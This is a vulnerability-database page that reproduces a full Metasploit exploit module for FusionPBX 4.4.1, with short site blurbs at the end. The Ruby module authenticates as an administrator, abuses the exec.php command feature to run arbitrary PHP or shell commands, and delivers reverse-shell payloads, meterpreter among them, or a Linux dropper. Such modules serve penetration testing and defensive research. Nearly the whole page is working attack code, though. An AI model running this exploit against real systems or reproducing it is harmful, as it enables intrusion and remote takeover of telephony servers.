Lucene search
K

FusionPBX Command (exec.php) Command Execution Exploit

🗓️ 15 Nov 2019 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 76 Views

FusionPBX Command Execution: Gain shell using administrative functionality to execute arbitrary system commands or PHP code as web server user. Tested on FusionPBX 4.4.1 on Ubuntu 19.04 (x64)

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'FusionPBX Command exec.php Command Execution',
      'Description'     => %q{
        This module uses administrative functionality available in FusionPBX
        to gain a shell.

        The Command section of the application permits users with `exec_view`
        permissions, or superadmin permissions, to execute arbitrary system
        commands, or arbitrary PHP code, as the web server user.

        This module has been tested successfully on FusionPBX version
        4.4.1 on Ubuntu 19.04 (x64).
      },
      'License'         => MSF_LICENSE,
      'Author'          => ['bcoles'],
      'References'      =>
        [
          ['URL', 'https://docs.fusionpbx.com/en/latest/advanced/command.html']
        ],
      'Platform'        => %w[php linux unix],
      'Arch'            => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
      'Targets'         =>
        [
          ['Automatic (PHP In-Memory)',
            'Platform'       => 'php',
            'Arch'           => ARCH_PHP,
            'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/reverse_tcp'},
            'Type'           => :php_memory
          ],
          ['Automatic (Unix In-Memory)',
            'Platform'       => 'unix',
            'Arch'           => ARCH_CMD,
            'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'},
            'Type'           => :unix_memory
          ],
          ['Automatic (Linux Dropper)',
            'Platform'       => 'linux',
            'Arch'           => [ARCH_X86, ARCH_X64],
            'DefaultOptions' => {'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'},
            'Type'           => :linux_dropper
          ]
        ],
      'Privileged'      => false,
      'DefaultOptions'  => { 'SSL' => true, 'RPORT' => 443 },
      'DisclosureDate'  => '2019-11-02',
      'DefaultTarget'   => 0))
    register_options [
      OptString.new('TARGETURI', [true, 'The base path to FusionPBX', '/']),
      OptString.new('USERNAME', [true, 'The username for FusionPBX', 'admin']),
      OptString.new('PASSWORD', [true, 'The password for FusionPBX'])
    ]
  end

  def login(user, pass)
    vprint_status "Authenticating as user '#{user}'"

    vars_post = {
      username: user,
      password: pass,
      path: ''
    }

    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'core/user_settings/user_dashboard.php'),
      'vars_post' => vars_post
    })

    unless res
      fail_with Failure::Unreachable, 'Connection failed'
    end

    if res.code == 302 && res.headers['location'].include?('login.php')
      fail_with Failure::NoAccess, "Login failed for user '#{user}'"
    end

    unless res.code == 200
      fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}"
    end

    cookie = res.get_cookies.to_s.scan(/PHPSESSID=(.+?);/).flatten.first

    unless cookie
      fail_with Failure::UnexpectedReply, 'Failed to retrieve PHPSESSID cookie'
    end

    print_good "Authenticated as user '#{user}'"

    cookie
  end

  def check
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path)
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    if res.body.include?('FusionPBX')
      return CheckCode::Detected
    end

    CheckCode::Safe
  end

  def execute_command(cmd, opts = {})
    vars_post = {
      handler: 'php',
      table_name: '',
      sql_type: '',
      id: '',
      cmd: cmd
    }

    case opts[:handler]
    when 'php'
      vars_post[:handler] = 'php'
    when 'shell'
      vars_post[:handler] = 'shell'
    when 'switch'
      vars_post[:handler] = 'switch'
      vars_post[:cmd] = "bg_system #{cmd}"
    else
      vars_post[:handler] = 'shell'
    end

    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'app/exec/exec.php'),
      'cookie'    => "PHPSESSID=#{@cookie}",
      'vars_post' => vars_post
    }, 5)

    unless res
      return if session_created?
      fail_with Failure::Unreachable, 'Connection failed'
    end

    unless res.code == 200
      fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}"
    end

    if res.body.include? 'access denied'
      fail_with Failure::NoAccess, "User #{datastore['USERNAME']} does not have permission to execute #{vars_post[:handler]} #{vars_post[:handler].eql?('php') ? 'code' : 'commands'}"
    end

    res
  end

  def exploit
    unless check == CheckCode::Detected
      fail_with Failure::NotVulnerable, "#{peer} - Target is not vulnerable"
    end

    @cookie = login(datastore['USERNAME'], datastore['PASSWORD'])

    print_status "Sending payload (#{payload.encoded.length} bytes) ..."

    case target['Type']
    when :php_memory
      execute_command(payload.encoded, handler: 'php')
    when :unix_memory
      execute_command(payload.encoded, handler: 'shell')
    when :linux_dropper
      execute_cmdstager(:linemax => 1_500, handler: 'shell')
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation